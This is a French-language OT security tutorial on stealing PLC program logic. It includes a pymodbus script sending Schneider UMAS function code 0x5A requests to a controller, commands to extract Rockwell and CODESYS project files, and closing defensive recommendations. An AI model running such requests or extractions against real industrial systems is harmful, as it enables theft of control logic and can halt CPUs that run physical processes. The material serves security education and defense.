PLC Programming Logic Theft

practical

PLC Programming Logic Theft

L'extraction de la logique programmée d'un automate (ladder logic, function block diagram, structured text) représente l'un des objectifs les plus stratégiques en environnement OT.

Modbus vs DNP3

Modbus TCP n'offre aucune fonction native d'upload de programme. DNP3, défini par IEEE 1815, intègre nativement des fonctions de transfert de fichiers via l'objet 70.

Caractéristique Modbus TCP DNP3
Port 502 20000
Lecture de programme Non standard Object 70 (file transfer)
Authentification Aucune (sauf Modbus Security) DNP3-SA (IEC 62351-5)
Usage Manufacturing, building Énergie, eau, gaz

Function code 90 (0x5A, UMAS) Schneider

Pour les Modicon M340, le function code 90 (0x5A, UMAS) encapsule des sous-fonctions propriétaires.

from pymodbus.client import ModbusTcpClient
from pymodbus.pdu import ModbusRequest
import struct

class UMASReadMemory(ModbusRequest):
    function_code = 0x5A

    def __init__(self, session=0x00, subfunc=0x24, **kwargs):
        ModbusRequest.__init__(self, **kwargs)
        self.session = session
        self.subfunc = subfunc

    def encode(self):
        return struct.pack(">BB", self.session, self.subfunc)

client = ModbusTcpClient("192.168.10.20", port=502)
client.connect()
request = UMASReadMemory(session=0x00, subfunc=0x24, slave=1)
result = client.execute(request)
print(result)
client.close()

ATTENTION : Les function codes propriétaires peuvent provoquer des arrêts CPU. N'exécutez que sur un automate dédié hors production.

Récupération via stations d'ingénierie

Les EWS hébergent les fichiers projet originaux : - Siemens TIA Portal : .ap16, .ap17, .ap18 - Schneider EcoStruxure Control Expert : .stu, .sta, .xef - Rockwell Studio 5000 : .acd, .l5x (XML) - CODESYS : .project, .projectarchive

MITRE ATT&CK for ICS : T0873 (Project File Infection) et T0843 (Program Download).

Décompilation ladder

# Extraction Rockwell ACD vers L5X XML
acd2l5x project.acd -o project.l5x
xmllint --xpath '//Rung' project.l5x | less

# CODESYS
python3 codesys_extractor.py --input projet.projectarchive --list-pou

Les blocs ST (Structured Text) sont généralement récupérables en clair. Les blocs LD et FBD nécessitent reconstruction graphique manuelle.

Implications défensives

Le framework NIST SP 800-82 Rev. 3 recommande : 1. Stockage chiffré des projets sur les EWS 2. Activation des mots de passe de protection PLC 3. Désactivation des function codes inutilisés via firewall industriel 4. Audit régulier des accès aux dossiers projet (KRITIS impose depuis 2021)

IEC 62443-4-2 : requirement CR 1.5 (Authenticator management) pour l'accès au code automate.